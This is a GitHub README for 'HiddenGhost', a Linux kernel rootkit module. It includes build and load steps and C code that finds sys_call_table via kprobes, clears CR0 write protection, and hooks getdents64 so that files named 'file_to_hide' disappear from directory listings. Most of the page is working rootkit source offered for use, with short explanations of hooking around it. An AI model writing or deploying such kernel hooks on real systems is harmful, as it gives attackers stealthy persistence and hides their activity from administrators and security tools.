Skip to content

HiddenGhost is an new solution for find system call table with support for 5.7x kernels +

Notifications You must be signed in to change notification settings

BrunoCiccarino/HiddenGhost

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

47 Commits
 
 
 
 
 
 
 
 

Repository files navigation

HiddenGhost

Hidden Ghost is an new solution for find system call table with support for 5.7x kernels +. Hidden Ghost finds the syscall table via the kallsyms_lookup_name module with the <linux/kprobes.h> headder.

Before starting the explanation of how the rootkit works in depth I will explain the basics.

  • Tested On:

[✔️] Debian 12 6.7X amd64

  • Usage:

1) install the kernel headers:

sudo apt install linux-headers-$(uname -r)

2) Install Development Tools:

sudo apt install build-essential

3) Install the Kernel Development Kit:

sudo apt install linux-headers-$(uname -r) linux-source

4) Go to the /src directory:

cd src

5) Module Compilation:

make

6) Load the module:

sudo insmod main.ko

7) Check if the module has been loaded:

dmesg | tail -n 10

After these steps are completed, you should see this message:

HiddenGhost
  • What is Hooking:

Hooking is the act of redirecting/modifying a certain code stream, this redirect technique can be used for good and for bad, a big example of using this technique is mid function hooking This time I saw an example midFunction hook in the Unknown cheats forum that created a function jmp 0xE9 at address pAddres I won’t take much of your time explaining how it works and such because there are articles about it, I left two articles at the end of this readme, mine where I explain in depth about lkm and the one about MidFunction hook.

  • And how does it hook the syscall?

    • 1) Find the Syscalls Table:

      • The find_syscall_table function uses the kprobes module to find the address of the kernel syscall table (sys_call_table).

unsigned long *find_syscall_table(void)
{
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;

    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);

    __syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
    return __syscall_table;
}
  • 2) Unprotect Memory

    • The unprotect_memory function disables write protection on the page containing the syscall table, allowing the rootkit to modify the syscall table.

static inline void unprotect_memory(void)
{
    write_cr0_forced(cr0 & ~0x00010000);
}
  • 3) Replace the Original Function

    • In ghost_init, the address of the original getdents64 syscall is saved and replaced with the address of the hook function (hook_getdents64).

static int __init ghost_init(void)
{
    __syscall_table = find_syscall_table();
    if (!__syscall_table) {
        printk(KERN_INFO "Error, syscall_table not found");
        return -1;
    }

    cr0 = read_cr0();
    orig_getdents64 = (void *)__syscall_table[MY_NR_getdents];
    unprotect_memory();
    __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64;
    protect_memory();

    printk(KERN_INFO "Rootkit loaded: Syscall hooked\n");
    return 0;
}
  • 4) Protect Memory

After replacement, write protection is restored.

static inline void protect_memory(void)
{
    write_cr0_forced(cr0);
}
  • 5) Interception and Manipulation

    • The hook function hook_getdents64 intercepts calls to getdents64, checks file names, and hides any file named file_to_hide.

asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
    int ret = orig_getdents64(fd, dirp, count);
    struct linux_dirent64 *d, *kd, *kdirent = NULL;
    unsigned long offset = 0;

    if (ret <= 0)
        return ret;

    kdirent = kzalloc(ret, GFP_KERNEL);
    if (kdirent == NULL)
        return ret;

    if (copy_from_user(kdirent, dirp, ret)) {
        kfree(kdirent);
        return ret;
    }

    while (offset < ret) {
        d = (struct linux_dirent64 *)((char *)kdirent + offset);
        if (strcmp(d->d_name, "file_to_hide") == 0) {
            memmove(d, (char *)d + d->d_reclen, ret - offset - d->d_reclen);
            ret -= d->d_reclen;
        } else {
            offset += d->d_reclen;
        }
    }

    copy_to_user(dirp, kdirent, ret);
    kfree(kdirent);
    return ret;
}
  • 6) Unloading and Restoring

    • When unloading the module, the original syscall is restored:

static void __exit ghost_exit(void)
{
    unprotect_memory();
    __syscall_table[MY_NR_getdents] = (unsigned long)orig_getdents64;
    protect_memory();

    printk(KERN_INFO "Rootkit unloaded: Syscall restored\n");
}

link of articles:

Links to the repositories I based on: